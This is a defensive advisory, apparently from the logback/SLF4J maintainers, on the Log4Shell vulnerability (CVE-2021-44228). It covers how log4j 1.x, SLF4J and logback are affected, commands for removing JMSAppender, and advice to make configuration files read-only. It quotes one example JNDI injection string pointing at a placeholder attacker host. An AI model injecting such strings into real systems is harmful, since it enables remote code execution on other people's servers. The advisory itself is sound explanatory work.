Comments on the log4shell(CVE-2021-44228) vulnerability

Preamble

Please note that the contents of this page are the result of our understanding of the situation and are provided AS IS without warranty of any kind.

What is CVE-2021-44228?

CVE-2021-44228 is a vulnerability classified under the highest severity mark, i.e. 10 out of 10. It allows an attacker to execute arbitrary code by injecting attacker-controlled data into a logged message. As far as vulnerabilities are concerned, CVE-2021-44228 is probably as bad as it gets.

Superlatives aside, it is important to understand the mechanics of the vulnerability. The exploit becomes effective when the attacker can inject a string containing a substring in the form "${jndi:ldap://some.attacker-controlled.site/}". Opportunities for injecting such strings appear to be endless.

Log4j version 2.15 and earlier are open for this attack because it performs a lookup, aka string substitution, using the JNDI protocol, whenever the "${jndi:...}" string is found within a message parameter. As mentioned above, the contents of the message parameter can be injected quite easily by the attacker.

Is log4j 1.x vulnerable?

As log4j 1.x does NOT offer a JNDI look-up mechanism at the message level, it does NOT suffer from CVE-2021-44228.

Given that log4j version 1.x is still very widely deployed, perhaps 10 times more widely than log4j 2.x, we have been receiving a steady stream of questions regarding the vulnerability of log4j version 1.x.

As log4j 1.x does NOT offer a JNDI look up mechanism at the message level, it does NOT suffer from CVE-2021-44228.

However, log4j 1.x comes with JMSAppender which will perform a JNDI lookup if enabled in log4j's configuration file, i.e. log4j.properties or log4j.xml.

An attacker who ALREADY has write access the log4j configuration file will need to add JMSAppender into the configuration poisoned with malicious connection parameters. Note that prior legitimate usage of JMSAppender is irrelevant to the ability of the attacker to mount a successful attack.

Also note that poisoning the configuration file is not enough. The attacker also needs to force log4j to reload its configuration file with the poisoned parameters. Given that log4j 1.x does not offer automatic reloading, the poisoned configuration file will typically only become effective at application restart.

Nevertheless, while not easy, such an attack is not impossible. Thus it makes some sense to make job of the attacker even harder by removing JMSAppender altogether from log4j-1.2.17.jar.

In the absence of a new log4j 1.x release, you can remove JMSAppender from the log4j-1.2.17.jar artifact yourself. Here is the command:

   zip -d log4j-1.2.17.jar org/apache/log4j/net/JMSAppender.class

If you do not have access to 'zip', you can also use the 'jar' command.

   #assuming log4j-1.2.17.jar exists in current directory
   mkdir tmp
   cd tmp
   jar xvf ../log4j-1.2.17.jar
   rm org/apache/log4j/net/JMSAppender.class
   jar cvf ../log4j-1.2.17-patched.jar .

It goes without saying that once log4j-1.2.17.jar is patched, you would need to deploy it.

Reload4j 1.2.18 as a replacement for log4j 1.2.17

The reload4j project is a fork of Apache log4j version 1.2.17 with the goal of fixing the pressing issues mentioned above. It is intended as a drop-in replacement for log4j version 1.2.17. By drop-in, we mean the replacement of log4j.jar with reload4j.jar in your build with no source code changes in .java files being necessary.

With version 1.2.18.0, the reload4j project offers a clear and easy migration path for the thousands of users who have an urgent need to fix vulnerabilities in log4j 1.2.17.

How about the SLF4J API?

The SLF4J API is just an API which lets message data go through. As such, using log4j 2.x, even via SLF4J does not mitigate the vulnerability.

However, as mentioned already, log4j 1.x is safe with respect to CVE-2021-44228. Thus, if your SLF4J provider/binding is slf4j-log4j12.jar, you are safe regarding CVE-2021-44228.

If you are using log4j-over-slf4j.jar in conjunction with the SLF4J API, you are safe unless the underlying implementation is log4j 2.x.

Does a similar vulnerability exist in logback?

Logback does NOT offer a lookup mechanism at the message level. Thus, it is deemed safe with respect to CVE-2021-44228.

However, logback may make JNDI calls from within its configuration file. This was recently reported in CVE-2021-42550 (aka LOGBACK-1591) as a vulnerability of lesser severity. In response, we have released logback version 1.2.9. Please upgrade.

Note that the vulnerability affecting logback requires write access to logback's configuration file as a prerequisite. To escalate to a successful Remote Code Execution attack, ALL of the following conditions have to be met:

  1. attacker has write access to logback.xml
  2. use of logback version older than 1.2.9
  3. loading of poisoned configuration data, which implies application restart or scan="true" set prior to attack

As a belt-and-suspenders type of precaution, in addition to upgrading to logback version 1.2.9, we also recommend users to deploy their logback configuration files as read-only.

More details about the contents latest logback releases can be found in the logback news page.

If you have read thus far, you probably understand that log4Shell/CVE-2021-44228 and LOGBACK-1591/CVE-2021-42550 are of different severity levels.

Additional protective measure: write protect log4j{1,2}/logback configuration files

While there are obviously differences between JNDI/LDAP/RMI serialization attacks, from an abstract point of view, they are all related to serialization, the gift that keeps giving.

At this point, we hope that you appreciate the distinction between serialization attacks where malicious input is injected via "log message data" versus a "configuration file". The point of injection matters a lot. The former attack point requires no privilege whereas the latter requires significant prior privilege. If you understand the difference, please read on.

While log4j 1.x is old, it is still very extensible. So are logback and log4j 2.x.

Trying to harden JMSAppender in log4j 1.x or some other component in log4j 2.x or logback against serialization injections (via configuration files) will be a long and arduous task. Moreover, we think you should err on the side of caution by assuming that there will remain hidden vulnerabilities.

We recommend that you err on the side of caution by deploying configuration files with read-only permissions.

Therefore, in addition to hardening KNOWN vulnerable components, we also recommend that configuration files be protected against write access. In Unix-speak they should have read-only permissions for all users, including the owner. If possible, they should also be monitored against changes and unauthorized manipulation.

Prevalence of logging frameworks

As discussed above, while log4j 2.14 and earlier are vulnerable to log4shell, log4j 1.x and logback are not.

At this stage, it might be useful mention the prevalence of each logging library in order to put things into perspective. Here are the relevant figures as found in mvnrepository site on 2021-12-17.

Project Category group:artifact usageCount percentage
SLF4J API org.slf4j:slf4j-api 52,247 69%
Commons-logging API commons-logging:commons-logging 10,412 14%
SLF4J API org.slf4j:jcl-over-slf4j 7,546 10%
LOG4J2 API org.apache.logging.log4j:log4j-api 5,226 7%
Total API - 75,431 100%
Project Category group:artifact usageCount percentage
LOGBACK implementation ch.qos.logback:logback-classic 21,770 48%
LOG4J1 implementation log4j:log4j 16,610 37%
LOG4J2 implementation org.apache.logging.log4j:log4j-core 6,974 15%
Total implementaion - 45,174 100%

Notwithstanding its 48% prevalence overall (implementation), no attacks have been reported against logback that we are aware of.

Further reading

  1. Log4j 2 - The Ghost in the logging framework from (2019)
  2. Log4Shell: RCE 0-day exploit found in log4j2, a popular Java logging package
  3. lunasec-io/lunasec
  4. Security in context: When is a CVE not a CVE?
  5. The human toll of log4j maintenance